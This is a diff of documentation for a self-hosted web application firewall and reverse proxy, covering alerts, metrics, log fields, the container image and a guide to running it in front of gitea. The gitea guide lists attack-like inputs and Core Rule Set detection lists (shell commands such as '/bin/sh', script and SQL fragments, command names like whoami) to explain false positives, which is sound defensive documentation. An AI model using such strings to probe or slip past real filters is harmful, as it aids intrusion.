- `anomaly`: a count over an anomaly threshold.
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
@@ -23,8 +23,7 @@ back or dropped.
- the day's AbuseIPDB checks used up.
- `file_error`: one of:
- a rule file or state file edit with an error;
- a cache file that does not parse, at start or after an edit;
- a state file or cache file that cannot be written;
- a state file that cannot be written;
- a replacement lookup database that cannot be read.
- `summary`: the hourly summary of alerts held back.
@@ -35,7 +34,7 @@ on one line:
```json
{
"instance": "fsn1/waf",
"instance": "fsn1/servewaf",
"time": "2026-10-06T12:00:50.123461Z",
"event": "ban",
"host": "app.example",
@@ -78,10 +77,11 @@ on one line:
}
```
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
one of the events above.
- `host`: the site of the request that raised the alert, since one `waf` serves
many sites. It is left out of `source_failure`, `file_error` and `summary`.
- `host`: the site of the request that raised the alert, since one `servewaf`
serves many sites. It is left out of `source_failure`, `file_error` and
`summary`.
- `client`: the address whose request raised the alert. Empty for
`source_failure`, `file_error` and `summary`.
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
@@ -111,8 +111,8 @@ on one line:
## Slack and ntfy
Slack and ntfy get a message with a title and a text. The title is the instance
and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line
for each of these that the alert has:
and the event, such as `fsn1/servewaf: ban`. The text is the `reason`, then one
line for each of these that the alert has:
- the host, the client, the netblock and the country;
- the file, the source, the error and the mode from `detail`;
@@ -122,15 +122,15 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
is set;
- `Authorization`: the token, as `Bearer <token>`, while
`SWWAF_ALERT_NTFY_TOKEN` is set;
- `Priority` and `Tags`: by event, as listed below.
The priority and tag by event:
- `ban`: priority `default`, tag `no_entry`.
- `permanent_ban`: priority `high`, tag `no_entry`.
- `core_rule_set_match`: priority `default`, tag `shield`.
- `waf_block`: priority `default`, tag `shield`.
- `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
- `reputation_hit`: priority `low`, tag `label`.
- `source_failure` and `file_error`: priority `high`, tag `warning`.
+340
View File
@@ -0,0 +1,340 @@
# smallwebwaf in front of gitea
`deploy/gitea/compose.yaml` runs gitea behind traefik, with `rproxy` and
`servewaf` in front of it. This document says what that setup sets and why, and
what the defaults would do without it. [`SPEC.md`](../SPEC.md) says how
`smallwebwaf` behaves.
## The setup
Four containers share one Docker network, the shared network:
- traefik, which routes the site's HTTPS requests to `rproxy`, and redirects
plain HTTP to HTTPS;
- `rproxy`, in front of gitea;
- gitea 1.27.3, as its image comes;
- `servewaf`, with a volume for its state files.
To start it:
1. In `deploy/gitea/compose.yaml`, replace `git.example.org` with the site's
host name.
2. Replace each `10.99.0` with the first three numbers of a `/24` subnet that no
other network on the host uses. The `/24` must lie inside `10.0.0.0/8`,
`172.16.0.0/12` or `192.168.0.0/16`, because `rproxy` believes
`X-Forwarded-For` only from those by default. Replace each `fd10:99` with the
first two hextets of an unused `/64` subnet whose third and fourth hextets
are 0, as in `fd10:99::/64`.
3. Set `SMALLWEBWAF_IMAGE` to the `smallwebwaf` image, named by digest.
4. Set `GITEA_SECRET_KEY` to the output of
`docker run --rm <gitea's image> gitea generate secret SECRET_KEY`, with
gitea's image as `deploy/gitea/compose.yaml` names it. Do this once per
install, and keep the key.
5. Run `docker compose up --detach` in `deploy/gitea`.
6. Make gitea's first user with `gitea admin user create`, in gitea's container,
as the user `git`.
Sign-up is off: accounts are made with `gitea admin user create`. gitea starts
at its defaults, with SQLite. traefik answers with a certificate it made itself
until you add a certificate resolver, as for your other sites. SSH to gitea does
not pass through `smallwebwaf`; publish gitea's SSH port yourself if you use it.
`make gitea-setup` checks the setup. It builds the image, brings the setup up
under a name of its own, and checks:
- that a page load, a push and a clone sent through traefik pass through
`rproxy`, and that `servewaf` checks them;
- that gitea logs the visitor's address, not `rproxy`'s;
- that a request from a container on the shared network skips the checks;
- that with `servewaf` stopped, gitea still answers through `rproxy`.
## Uploads and downloads
An upload is a request:
- a git push;
- an LFS object;
- a container image layer;
- a package file;
- a release attachment.
The setup lets an upload of up to 2 GiB, sent in up to 30 minutes, through:
- `SWRP_MAX_REQUEST_SIZE` is `2G`. At the default, an upload over 100 MiB is cut
off.
- `SWRP_MAX_REQUEST_TIME_MS` is `1800000`, 30 minutes. At the default, an upload
that takes over 60 seconds is cut off.
- traefik's `readTimeout` is 30 minutes. traefik's own default of 60 seconds for
a whole request would cut off an upload first.
A clone or a download is a response:
- `SWRP_MAX_RESPONSE_TIME_MS` is `900000`, 15 minutes, half the default. A clone
or download that takes longer is cut off.
- `SWRP_MAX_RESPONSE_SIZE` stays at its default, 1 GiB. A repository whose clone
is larger needs it raised.
The byte limits stay at their defaults: no minute limit, 50 GiB an hour and 100
GiB a day.
## The checks
`SWWAF_WAF_MODE` is `detect`. The Core Rule Set then logs a match, with its rule
ids, and refuses nothing. In `block` mode, the default, it refuses everyday
gitea searches and file names. The section "What the Core Rule Set refuses in
`block` mode" below lists them. Each such refusal counts toward the error burst,
so 31 in one minute ban the address.
Every other check stays at its default. A client may make 120 requests a minute,
1,500 an hour and 6,000 a day. Archive downloads and blame and history pages are
what scrapers hammer, and these limits do most of the work there.
## The shared network
Containers on the shared network skip `servewaf`'s checks:
- The shared network's subnets are `10.99.0.0/24` and `fd10:99::/64`. Docker
gives its containers addresses in the upper half of each, `10.99.0.128/25` and
`fd10:99:0:0:8000::/65`, which `SWWAF_ALLOW_NETS` names.
- traefik is known on the shared network by the site's host name. So a container
there that asks for the site reaches traefik from its own address. An
automation fleet in such a container skips the checks.
- Each subnet's gateway, `10.99.0.1` and `fd10:99::1`, is the host's own address
on it. Requests docker passes on from a published port can come from the
gateway, so the gateways are left out of `SWWAF_ALLOW_NETS`. The network has
IPv6, so a visitor over IPv6 reaches traefik from its own address, and
`servewaf` checks it as itself.
- A container on the shared network that asks for the site at the host's public
address arrives from the gateway. It is checked like any visitor.
- A fleet on another host can have its address added to `SWWAF_ALLOW_NETS`.
Without that, it is counted like any client.
- traefik replaces the `X-Forwarded-For` a visitor sends, by default. Keep it
so: otherwise a visitor could name an address on the shared network, and skip
the checks.
- Anything on the shared network can reach gitea and `servewaf` around `rproxy`.
Put only containers you trust on it.
## gitea's settings
- `REVERSE_PROXY_TRUSTED_PROXIES` names `rproxy`'s fixed addresses, `10.99.0.2`
and `fd10:99::2`. gitea then takes each visitor's address from the `X-Real-Ip`
header, which traefik sets and `rproxy` passes on. Without it, gitea logs
every visitor as `rproxy`.
- `INSTALL_LOCK` is `true`, as "The setup" above says.
## Methods
`rproxy` passes on only these methods: `GET`, `HEAD`, `POST`, `OPTIONS`, `PUT`,
`DELETE`, `PATCH` and `QUERY`. gitea 1.27.3 needs no other. Its routes use:
- pages and the API: `GET`, `HEAD`, `POST`, `PUT`, `PATCH` and `DELETE`;
- git's push, clone and fetch over HTTP: `GET`, `POST` and `OPTIONS`;
- LFS: `GET`, `POST` and `PUT`;
- the container registry and the other package registries: `GET`, `HEAD`,
`POST`, `PUT`, `PATCH` and `DELETE`;
- Actions runners: `POST`.
## The log
`rproxy` and `servewaf` write each query string to the log whole. A token sent
in the query string, as `?token=`, is then in the log. Send it in the
`Authorization` header instead.
## Actions runners
A runner on the shared network skips the checks. One on another host is counted
like any client. A runner older than version 0.4 (April 2026) asks for work
every 2 seconds, 1,800 requests an hour. While it runs a job, it reports the
job's log and state every second instead, two requests a second.
So one idle runner makes 1,800 requests an hour, more than the hour limit of
1,500. A busy one, at two requests a second, passes the minute limit of 120
within two minutes. Its address is then banned, its running jobs fail, and each
repeat within a day makes the ban longer. Newer runners ask for work less often.
Put the runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`.
## What the Core Rule Set refuses in `block` mode
These notes record what the Core Rule Set does in front of gitea in `block`
mode, at the other defaults. They are observations, not requirements.
`script/gitea-requests` runs gitea behind `rproxy` and `servewaf` at the
defaults. It sends through them a sample of gitea's ordinary use and the
requests named below. It reports each request the Core Rule Set refuses, so that
these notes can be checked again when gitea or the Core Rule Set changes
version. In `detect` mode, as the setup runs it, the same requests are logged
with their rule ids, and pass.
Each refusal answers only that request ("Bans" in `SPEC.md` says what it counts
toward). The request log names the rule in `waf_rule_ids`, which
`SWWAF_WAF_DISABLED_RULES` can switch off.
### What it lets through
The Core Rule Set lets gitea's ordinary use through, apart from the refusals in
the sections after this one:
- browsing and views of files in a repository, with their history, blame and the
file tree;
- diffs, including their hidden lines and large files, and pull request review;
- git's clone, fetch and push over HTTP;
- signing in, including the return to the page a visitor came from, and sign-in
with Git Credential Manager, git-credential-oauth or tea;
- the API's calls for a file and its commits;
- pushing and pulling container images and packages;
- Actions runners, and artifacts uploaded with `actions/upload-artifact@v4`;
- posting issues, pull requests, comments, wiki pages and files saved in the web
editor, code included, since no body is read;
- the page gitea shows after a change, with its message naming what was done.
### A query string that reads as an attack
Most often this is a search. A search term is a query parameter, which the Core
Rule Set checks against its lists of system files and commands (see the fourth
change under "Attack detection" in `SPEC.md`). A release attachment uploaded
through the API as `docker-compose.yml` is refused the same way. Examples:
- a name on those lists, such as `package.json`, `.gitignore` or
`docker-compose.yml`;
- text that starts with a command name, such as `python3` or `ssh key`, or has
one right after a `/` in its first word, such as `feat/docker-support`;
- a shell command with its options or a system path (`ls -la`, `sed -i`,
`/bin/sh`), or a command in backticks;
- script code (`fetch(`, `${VAR}`, `process.env`), HTML (`<img src=`) or an SQL
statement (`SELECT * FROM users WHERE`);
- a URL naming an IP address or `localhost`.
### A branch, tag or file name that starts with a command name
The Core Rule Set's list of commands (932260) holds names such as `docker-`,
`python3`, `ansible`, `base64` and `whoami`. A query parameter holding a branch,
tag or file name that starts with one is refused. So is one that has such a name
right after a `/`, such as `feat/docker-support`, `fix/docker-build` or
`renovate/docker-build-push-action-6.x`. gitea's own pages send the name in a
query parameter that 930120, 932160 and 932260 still check:
- `refSubUrl`, the branch or tag of a directory listing. A listing sends it when
it asks for its entries' last commits in a second request. It does so whenever
gitea takes more than a second to work them out;
- `name`, when a branch is deleted or restored on the branches page;
- `tag`, when a release is started from a tag;
- `template`, the file of an issue template, when an issue is opened from it;
- `rule_name`, when a branch protection rule is opened for editing in the
repository's settings or has just been saved.
What a visitor sees, for a branch named `docker-build`:
- A directory listing that makes that second request leaves those last commits
out and shows an error.
- The branches page shows an error instead of deleting or restoring the branch.
- A release started from such a tag gets the `403` answer of `smallwebwaf` in
place of its form. So does an issue opened from such a template, and such a
rule opened for editing.
- Saving such a rule stores it. gitea then returns to the branch settings page,
which gets the `403` answer, so the save looks as if it failed.
### A file name in a query parameter that trips the code rules
The Core Rule Set's rules for Java, script, PowerShell and SQL find what they
look for in some file names. This holds too in the ten query parameters that
930120, 932160 and 932260 do not check (see the fourth change under "Attack
detection" in `SPEC.md`). Examples:
- `runtime` in OpenJDK's `src/java.base/share/classes/java/lang/Runtime.java`
(944110);
- a Java class, as in `java.lang.String.md` (944130);
- `document.write.js` (941180);
- `process.env.d.ts` (934100);
- `__proto__` (934130);
- the PowerShell command `Install-Script`, as in `install-script.sh` (932120);
- a database's name, as in PostgreSQL's `information_schema.sql` (942140).
For such a file, these requests are refused:
- the API's list of its commits (`path`);
- the API's call for the contents of files that names it in its query (`body`);
- the commit graph of that file alone (`file`);
- the hidden lines of its diff (`path`), which stay hidden;
- the sign-in page, for a visitor who opens a page of the file that needs
signing in, such as its edit page (`redirect_to`). The visitor can still sign
in by opening the sign-in page itself.
### A path
- A file name ending in `~`, or an `.xhtml` file whose path holds a space.
- A path that holds what the Core Rule Set takes for a Java class (944130), as
`java.lang.String.md` and
`META-INF/services/org.apache.commons.logging.LogFactory` do.
- A path that holds what it takes for Node.js code (934100), as
`process.env.d.ts` does.
- A path with a directory named `...` (930100, 930110), such as `.../notes.txt`.
For such a file, these are refused:
- the page of the file;
- its raw file;
- its history and its blame;
- its edit page.
The directory that holds it lists it, and a clone carries it.
### A container image push that reuses a layer
A push can reuse a layer of an image docker has pushed to that gitea before.
docker then asks gitea to take the layer from that image, naming it in the query
parameter `from`, which 932260 checks. The request is refused when the image's
owner starts with an entry on the list of commands. It is refused too when the
image's name after the owner starts with one. Examples are `owner/python3-app`,
`owner/docker-base`, and any image of an owner named `ansible` or `docker-team`.
What happens next depends on docker's image store. A docker that keeps its
images in containerd's image store fails the push, and fails each new try the
same way. A new install of Docker Engine 29 does this. A docker that keeps them
in its own older image store uploads the layer instead. The push then succeeds
after one refusal for each layer it reuses, and each of those refusals counts
toward the error burst ("Attack detection" in `SPEC.md`).
### Artifact uploads from `actions/upload-artifact@v3`
This action sends the header `Content-Range`, which the Core Rule Set refuses
(920450). The action sends two files at a time, does not retry a `403`, and
sends no further file once one is refused. So an upload is refused once or
twice, however many files it holds, and the step fails. One upload does not ban
the runner. The error burst ("Attack detection" in `SPEC.md`) bans it after more
than 30 such refusals from its address in a minute, as when many jobs upload at
once. `actions/upload-artifact@v4` does not send the header.
### What body inspection refuses
With `SWWAF_WAF_BODY_LIMIT` set, the Core Rule Set reads request bodies too. In
front of gitea it then refuses these, until their rule ids, named in the request
log, are added to `SWWAF_WAF_DISABLED_RULES`:
- issue and comment text, wiki pages and files saved in the web editor that hold
shell commands or code (932125, 932235, 932250 and others);
- package descriptions that show code;
- PyPI uploads (922130);
- attachments named like `debug.log` or `config.yml` (932180).
### What `script/gitea-requests` sends
Of the requests above, the script sends:
- for each file named under "A file name in a query parameter that trips the
code rules", the API's list of its commits;
- for `Runtime.java` alone, the commit graph of that file, the hidden lines of
its diff, and the API's call for the contents of files that names it;
- the sign-in page for a visitor who opens the edit page of `document.write.js`;
- the pages of `java.lang.String.md`,
`META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
and `.../notes.txt`;
- one container image push that reuses a layer, which it does not try again.
It does not send the raw file, history, blame or edit page of those four files,
or the pages of the directories `META-INF/services` and `...`. It also sends a
short sample of gitea's ordinary use:
- signing in;
- pages of files and commits, and a diff;
- the API;
- a push, and clone and fetch over HTTP;
- two container image pushes.
+11 -11
View File
@@ -1,9 +1,9 @@
# What the image holds
The contents of the `smallwebwaf` image, and how each part is pinned. The image
runs `rproxy` by default, or `waf` with `SWW_COMMAND=waf`. "Deployment" in
[`SPEC.md`](../SPEC.md) says why each part is there and why it is pinned that
way.
runs `rproxy` by default, or `servewaf` with `SMALLWEBWAF_COMMAND=servewaf`.
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
is pinned that way.
## Contents
@@ -15,13 +15,13 @@ way.
Unpacked, nixpkgs takes about 500 MiB.
- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
at a fixed commit hash.
- The `sww` binary, and the user `sww` (uid and gid 65532).
- The service directory `/etc/service/sww`, with the `run` script
`share/sww.run`.
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
default rule file `share/rules.d/00-default.rules`. The `run` script makes
`SWW_STATE_DIR` when it is missing.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
- The `smallwebwaf` binary, and the user `smallwebwaf` (uid and gid 65532).
- The service directory `/etc/service/smallwebwaf`, with the `run` script
`share/smallwebwaf.run`.
- `/var/lib/smallwebwaf` for `servewaf`'s state files, and
`/etc/smallwebwaf/rules.d` with the default rule file
`share/rules.d/00-default.rules`.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `smallwebwaf healthcheck`.
## Pins
@@ -33,4 +33,4 @@ way.
- `runsvinit`: the archived repository, unchanged since 2015, at its last commit
(`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
build writes.
- The Go image that builds `sww`: by digest.
- The Go image that builds `smallwebwaf`: by digest.
+51 -46
View File
@@ -1,84 +1,89 @@
# The metrics
What `GET /_sww/metrics` answers with, at `waf`'s own address. "Metrics
endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps
the `instance` label as `exported_instance` unless the scrape sets
What `GET /_smallwebwaf/metrics` answers with, at `servewaf`'s own address.
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
keeps the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
## Traffic
- `sww_requests_total`, `sww_request_bytes_total` and
`sww_response_bytes_total`, by `status_class` such as `2xx` and by `action`;
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
histograms;
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
`waf` is handling.
- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and
`smallwebwaf_response_bytes_total`, by `status_class` such as `2xx` and by
`action`;
- `smallwebwaf_request_duration_seconds` and
`smallwebwaf_upstream_duration_seconds`, as histograms;
- `smallwebwaf_requests_in_flight`: the questions and requests to its own
endpoints that `servewaf` is handling.
## Limits and bans
- `sww_rate_limit_hits_total`, by `window` and by `kind` (`requests`, `bytes` or
`refusals`);
- `sww_offences_total`, by `kind`;
- `sww_bans_made_total`, by `cause`;
- `sww_active_bans` and `sww_permanent_bans`.
- `smallwebwaf_rate_limit_hits_total`, by `window` and by `kind` (`requests`,
`bytes` or `refusals`);
- `smallwebwaf_offences_total`, by `kind`;
- `smallwebwaf_bans_made_total`, by `cause`;
- `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`.
## Attack detection
- `sww_rule_matches_total`, by `rule_id` and `action`, and `sww_rules_loaded`;
- `sww_core_rule_set_matches_total`, by `mode` and `rule_id`, for the rules that
- `smallwebwaf_rule_matches_total`, by `rule_id` and `action`, and
`smallwebwaf_rules_loaded`;
- `smallwebwaf_waf_matches_total`, by `mode` and `rule_id`, for the rules that
fired.
## Countries and AS numbers
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
For the `SWWAF_METRICS_TOP_N` busiest of each, the rest as `other`:
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
`country`;
- `sww_asn_requests_total`, `sww_asn_request_bytes_total` and
`sww_asn_response_bytes_total`, by `asn`.
- `smallwebwaf_country_requests_total`,
`smallwebwaf_country_request_bytes_total`,
`smallwebwaf_country_response_bytes_total` and
`smallwebwaf_country_list_refusals_total`, by `country`;
- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and
`smallwebwaf_asn_response_bytes_total`, by `asn`.
## Lookups
- `sww_geojs_requests_total` and `sww_geojs_failures_total`;
- `sww_requests_without_geojs_answer_total`: the requests that needed an answer
and went on without it;
- with the file source, `sww_lookup_database_last_read_timestamp_seconds` and
`sww_lookup_database_read_failures_total`.
- `smallwebwaf_geojs_requests_total` and `smallwebwaf_geojs_failures_total`;
- `smallwebwaf_geojs_unanswered_total`: the requests that needed an answer and
went on without it;
- with the file source,
`smallwebwaf_lookup_database_last_read_timestamp_seconds` and
`smallwebwaf_lookup_database_read_failures_total`.
## Reputation sources
By `source`: each list's URL, each zone, and `abuseipdb`:
- `sww_reputation_hits_total`, `sww_reputation_queries_total` and
`sww_reputation_failures_total`;
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
- `smallwebwaf_reputation_hits_total`, `smallwebwaf_reputation_queries_total`
and `smallwebwaf_reputation_failures_total`;
- `smallwebwaf_reputation_last_fetch_timestamp_seconds`, for a list;
- `smallwebwaf_reputation_daily_budget_remaining`, for AbuseIPDB.
## State and cache files
## State files
By `file`, the name of a state or cache file:
By `file`:
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
- `sww_state_file_edits_taken_in_total` and
`sww_state_file_edits_set_aside_total`;
- `sww_tracked_clients`: the clients in the table.
- `smallwebwaf_state_file_writes_total`,
`smallwebwaf_state_file_write_failures_total`,
`smallwebwaf_state_file_last_write_timestamp_seconds` and
`smallwebwaf_state_file_size_bytes`;
- `smallwebwaf_state_file_edits_taken_in_total` and
`smallwebwaf_state_file_edits_set_aside_total`;
- `smallwebwaf_tracked_clients`: the clients in the table.
## Remote log, alerts and the process
- while a syslog server is set, `sww_remote_log_lines_sent_total`,
`sww_remote_log_lines_dropped_total` and `sww_remote_log_lines_waiting`;
- by `destination`, `sww_alerts_sent_total`, `sww_alert_send_failures_total`,
`sww_alerts_suppressed_total` and `sww_alerts_dropped_total`;
- while a syslog server is set, `smallwebwaf_remote_log_lines_sent_total`,
`smallwebwaf_remote_log_lines_dropped_total` and
`smallwebwaf_remote_log_buffer_depth`;
- by `destination`, `smallwebwaf_alerts_sent_total`,
`smallwebwaf_alerts_failed_total`, `smallwebwaf_alerts_suppressed_total` and
`smallwebwaf_alerts_dropped_total`;
- Go's own `go_` metrics and the process's `process_` metrics.
## When a request is counted
`waf` counts a denied request at its decision, and a request to its own
`servewaf` counts a denied request at its decision, and a request to its own
endpoints when it is answered. It counts an allowed request when its report
comes, with the status, bytes and times the report gives. These are not counted:
+63 -104
View File
@@ -1,32 +1,32 @@
# The request log's fields
The fields of the JSON objects `rproxy` and `waf` write about each request.
The fields of the JSON objects `rproxy` and `servewaf` write about each request.
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
written and how the log is sent to a syslog server. A field that does not apply
to a request is left out.
## `waf`'s lines
## `servewaf`'s lines
`sww waf` writes two lines for each question it answers, joined by `request_id`.
The field `waf_line` says which of the two a line is:
`smallwebwaf servewaf` writes two lines for each question it answers, joined by
`request_id`. The field `servewaf_line` says which of the two a line is:
- `decision`: the line it writes once it has answered the question;
- `report`: the line it writes when `rproxy`'s report comes, with everything
known. The repetition is intended.
A request to its own endpoints writes one line, without `waf_line`. A report
writes no line but the `report` line of the request it names.
A request to its own endpoints writes one line, without `servewaf_line`. A
report writes no line but the `report` line of the request it names.
These questions write no line:
- a question refused with `400` (see "The question" under "`waf`" in
- a question refused with `400` (see "The question" under "`servewaf`" in
[`SPEC.md`](../SPEC.md));
- a question whose body stopped arriving, which gets no answer.
A `report` line:
```
{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
{"type":"request","servewaf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/servewaf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"waf_score":0,"duration_total":3.217,"duration_checks":0.041,"duration_waf":0.029,"duration_upstream_total":3.104}
```
### Every line
@@ -37,13 +37,14 @@ Every one of these lines has:
- the standard web log fields;
- `request_id`, `peer_ip` and `client_group`;
- `asn`, `as_name` and `country`;
- `action` and `duration_total_ms`.
- `action` and `duration_total`.
### Standard web log fields
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
in UTC. The `report` line gives the same time as the `decision` line.
- `instance`: `SWW_INSTANCE_NAME`.
- `time`: when `servewaf` had read the question's body, RFC 3339 with
milliseconds, in UTC. The `report` line gives the same time as the `decision`
line.
- `instance`: `SWWAF_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request.
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
@@ -51,8 +52,8 @@ Every one of these lines has:
- `host`: the site the visitor asked for.
- `protocol`: the question's own, `HTTP/1.1`.
- `status`:
- on the `decision` line, what `waf` answered: `200` for `allow`, the status
of `deny`, or `0` for `close`, as the visitor is then sent nothing;
- on the `decision` line, what `servewaf` answered: `200` for `allow`, the
status of `deny`, or `0` for `close`, as the visitor is then sent nothing;
- on the `report` line, what the visitor got, `0` if nothing.
- `request_bytes`:
- on the `decision` line, how much of the question's body the Core Rule Set
@@ -60,7 +61,7 @@ Every one of these lines has:
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
with what a WebSocket carried from the visitor.
- `response_bytes`:
- on the `decision` line, the body of `waf`'s answer;
- on the `decision` line, the body of `servewaf`'s answer;
- on the `report` line, the bytes of the answer's body, with what a
WebSocket carried from the app.
- `referer` and `user_agent`.
@@ -77,108 +78,66 @@ Every one of these lines has:
- lookups are off;
- the client is not looked up;
- the source cannot place the client;
- GeoJS had not answered by the time `waf` answered.
- GeoJS had not answered by the time `servewaf` answered.
- `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
lower case.
- `request_headers`: the headers listed in `SWWAF_LOG_REQUEST_HEADERS`, by name
in lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged.
### Response detail
- `response_content_type`: the type of `waf`'s own answer.
- `response_content_type`: the type of `servewaf`'s own answer.
- `aborted`: true when `rproxy` went away before the answer.
### Decision
- `action`: what was done:
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
the action `deny`, or for a tag in `SWW_TAG_DENY`;
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
rule, a trap path or a CrowdSec decision that made such a ban;
- `permanently_banned`: refused under a ban that never runs out, including a
ban this request made or made permanent;
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
`blocked_by_core_rule_set`: refused by that check;
- `request_header_too_large`: over a header limit;
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a
path under `/_sww/`.
- `denied`: refused for `SWWAF_DENY_NETS`, or for a reputation source with
the action `deny`;
- `banned`: refused under a ban, or for a `ban` rule, a trap path or a
CrowdSec decision, each of which bans the client;
- `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`:
refused by that check;
- `too_large`: over a header limit;
- `admin`: answered at one of `servewaf`'s own endpoints, or `404` for a
path under `/_smallwebwaf/`.
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
request it would have refused. `action` then names what was done, normally
`forward`.
- `heuristic`: the heuristic that refused the request, in `observe` mode too. It
is left out when none did.
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
heuristic and its figures:
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
- `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
- `rate_limits`: `window`, `count` and `limit`;
- `trap_paths`: `path`, the trap path asked for;
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
- `after_answer_heuristic_figures`: an object of the figures that heuristic
acted on, as listed above.
`byte_limits` bans when the report comes, so only the `report` line names
it.
- `rate_limit_percent` and `rate_limit_percent_setting`: the client's percentage
of the rate limits and the setting that lowered it, when one did.
`bytes_limit_percent` and `bytes_limit_percent_setting` do the same for the
byte limits.
- `limit_percent` and `limit_percent_setting`: the client's percentage of the
rate limits and the setting that lowered it, when one did. `bytes_percent` and
`bytes_percent_setting` do the same for the byte limits.
- `counts`: the client's totals as rate limiting counts them, this request
included. It is left out when rate limiting did not count the request. It
holds:
- `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_BYTES_COUNT` names, in that window.
- `minute_bytes`, `hour_bytes` and `day_bytes`: bytes.
A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
response are added when its report comes. So on the `decision` line, the
three byte totals leave them out.
[`SPEC.md`](../SPEC.md)). The bytes of an allowed request are counted when
its report comes. So on the `decision` line, the bytes are without this
request's.
- `limit_hit`: the limit broken:
